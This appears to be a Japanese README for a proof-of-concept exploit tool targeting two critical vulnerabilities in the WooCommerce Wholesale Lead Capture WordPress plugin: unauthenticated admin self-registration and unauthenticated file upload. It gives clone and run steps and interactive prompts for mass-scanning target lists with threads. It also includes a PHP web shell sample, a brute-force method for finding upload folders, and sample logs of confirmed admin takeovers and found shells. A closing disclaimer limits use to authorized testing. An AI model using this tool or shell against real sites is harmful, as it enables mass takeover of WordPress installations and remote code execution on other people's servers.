
未認証の権限昇格 | 未認証の任意ファイルアップロード
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2026-27542 |
| 深刻度 | CRITICAL — CVSS v3.1 スコア: 9.8 |
| ベクター | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 影響を受けるコンポーネント | WordPress 用 WooCommerce Wholesale Lead Capture (WWLC) プラグイン |
| 脆弱性の種類 | 認証不要の権限昇格 |
| 必要な認証 | なし |
| CWE | CWE-269: 不適切な権限管理 |
説明:
WordPress 用 WooCommerce Wholesale Lead Capture プラグインは、既知の影響を受ける全バージョンにおいて、認証不要の権限昇格に対して脆弱です。この脆弱性は wwlc_create_user AJAX アクションハンドラ内に存在し、ユーザー登録リクエストを処理する際に、ユーザーが指定したロールフィールドのサニタイズや検証が不十分です。リモートの認証されていない攻撃者は、特別に細工した POST リクエストを送信し、wp_capabilities[administrator] を含む任意の WordPress 権限フィールドを、アカウント作成時にユーザーメタデータに直接注入することができます。これにより、攻撃者は正当なユーザーによる事前認証や操作を必要とせずに、WordPress 管理者として自己登録でき、影響を受ける WordPress インストールの完全な乗っ取りに至ります。
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2026-27540 |
| 深刻度 | CRITICAL — CVSS v3.1 スコア: 9.8 |
| ベクター | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 影響を受けるコンポーネント | WordPress 用 WooCommerce Wholesale Lead Capture (WWLC) プラグイン |
| 脆弱性の種類 | 認証不要の任意ファイルアップロード(リモートコード実行に繋がる) |
| 必要な認証 | なし |
| CWE | CWE-434: 危険なタイプのファイルの無制限アップロード |
説明:
WordPress 用 WooCommerce Wholesale Lead Capture プラグインは、既知の影響を受ける全バージョンにおいて、認証不要の任意ファイルアップロードに対して脆弱です。この脆弱性は wwlc_file_upload_handler AJAX アクションに存在し、このアクションは認証や nonce 検証の要件なしに登録されています。/wp-admin/admin-ajax.php に対して細工した multipart POST リクエストを送信することで、リモートの認証されていない攻撃者は、PHP Web シェルを含む任意のタイプのファイルを、サーバーの wp-content/uploads/ ディレクトリ配下の動的に生成された wwlc-temp-* サブディレクトリにアップロードできます。悪用に成功すると、Web プロセスユーザーアカウントとして動作する基盤となる Web サーバー上で、リモートコード実行 (RCE) に至ります。
これは、上記の 2 つの重大な脆弱性に対する概念実証 (PoC) エクスプロイトスクリプトであり、WooCommerce Wholesale Lead Capture プラグインを実行している WordPress インストールを対象としています。このツールは 2 つの独立した攻撃モードをサポートしています:
| モード | 攻撃タイプ | 目的 |
|---|---|---|
| モード 1 | 認証不要の任意ファイルアップロード + ブルートフォースによるフォルダ発見 | PHP Web シェルをアップロードし、多層フォルダ推測によってその場所を特定する |
| モード 2 | 登録による認証不要の権限昇格 | WordPress 管理者として自己登録し、管理者アクセスを検証する |
pip install requests urllib3 colorama
または requirements ファイルでインストール:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
# リポジトリをクローン
git clone https://github.com/Nxploited/CVE-2026-27542-CVE-2026-27540.git
cd CVE-2026-27542-CVE-2026-27540
# 依存関係をインストール
pip install -r requirements.txt
# ツールを実行
python3 CVE-2026-27542_CVE-2026-27540.py
python3 CVE-2026-27542_CVE-2026-27540.py
このツールは対話型のターミナルインターフェースを表示します。必要なすべてのパラメータがプロンプトで要求されます。
1 行に 1 つの対象 URL を記載したプレーンテキストファイル(例: list.txt)を作成します:
https://target1.com
https://target2.com
http://target3.com/wordpress
Select mode [1=Upload+Folder, 2=Registration+Admin]: 1
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Shell file path [shell.php]: shell.php
Shell signature (marker inside shell) [Nx_SHELL_SIGNATURE]: Nx_SHELL_SIGNATURE
Max pattern-based folder guesses per site [50000]: 50000
Max time-based folder guesses per site [50000]: 50000
Max random-hex folder guesses per site [100000]: 100000
Upload results file [scan_results/wwlc_uploads.txt]: scan_results/wwlc_uploads.txt
Found shells file [scan_results/wwlc_shells_found.txt]: scan_results/wwlc_shells_found.txt
シェルファイルの例 (shell.php):
<?php
// Nx_SHELL_SIGNATURE
if(isset($_GET['cmd'])){ system($_GET['cmd']); }
?>
注記:
wwlc-temp-*フォルダは、PHP のuniqid('wwlc-temp-')を使用してプラグインによって動的に生成されます。このツールは、それを発見するために多層ブルートフォース戦略を使用します:
レイヤー 戦略 説明 0 ディレクトリリスティング アップロードディレクトリが開放されている場合に一覧表示を試行 1 パターンベース 時刻由来および連番の数値推測 2 時刻ベースの Hex 観測された HTTP リクエストのタイムスタンプをシードとして使用 3 ランダム Hex 純粋なランダムな hex 文字列の推測
Select mode [1=Upload+Folder, 2=Registration+Admin]: 2
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Base registration username (prefix) [Nx_admin]: Nx_admin
Base registration email [[email protected]]: [email protected]
Registration results file [scan_results/wwlc_register_results.txt]:
Admin hits file [scan_results/Admin_login.txt]:
このツールは以下の処理を行います:
administrator ロールを注入する細工した登録ペイロードを送信します| ファイル | 説明 |
|---|---|
scan_results/wwlc_uploads.txt | ファイルアップロードが成功したすべてのサイト(モード 1) |
scan_results/wwlc_shells_found.txt | アクセスが確認された完全なシェル URL(モード 1) |
scan_results/wwlc_register_results.txt | 認証情報付きのすべての登録試行結果(モード 2) |
scan_results/Admin_login.txt | 認証情報付きで確認された管理者ログインヒット(モード 2) |
[INFO] Mode2 | Target: https://target.com
[SUCCESS] https://target.com | nonce found on /wholesale-register/: a1b2c3d4e5
[INFO] https://target.com | using discovered nonce
[SUCCESS] https://target.com | registration success for user=Nx_admin_x7k2
[SUCCESS] https://target.com | ADMIN login confirmed as Nx_admin_x7k2
[INFO] Mode1 | Target: https://target.com
[INFO] https://target.com | upload HTTP time: 0.847s
[SUCCESS] https://target.com | upload success file_name=shell_abc123.php
[INFO] https://target.com | pattern brute-force (50003 guesses)
[SUCCESS] https://target.com | shell FOUND via pattern: https://target.com/wp-content/uploads/wwlc-temp-00000123/shell_abc123.php
[INFO] https://target.com | folder scan stats: attempts=123, time=4.213s, rate=29.2 req/s
作者: Nxploited (Khaled Alenazi)
このツールは、教育目的および許可を得たセキュリティ研究の目的でのみ提供されます。
作者である Nxploited (Khaled Alenazi) および本プロジェクトへのすべての貢献者は、このツールの悪用、または明示的な書面による許可を得ていないシステムに対して本ソフトウェアを使用することによって生じるいかなる損害についても、容認、支援、または責任を負いません。
- ✅ 許可される用途: 所有している、またはテストする明示的な書面による許可を得たシステムでの使用。
- ❌ 禁止される用途: システム所有者からの事前の明示的な書面による許可なしに、いかなるシステムに対しても使用すること。
コンピュータシステムへの不正アクセスは違法であり、適用される法律に基づき処罰の対象となります。 これには、コンピュータ詐欺および濫用法 (CFAA)、コンピュータ濫用法 (CMA)、および世界各国の同等の法律が含まれますが、これらに限定されません。
このツールを使用することにより、お客様は自身の行動に対して単独で責任を負い、対象システムをテストする法的権限を有していることを確認したものとみなされます。
作者は、本ソフトウェアの使用または誤用から生じる直接的、間接的、偶発的、または結果的な損害について、いかなる責任も負いません。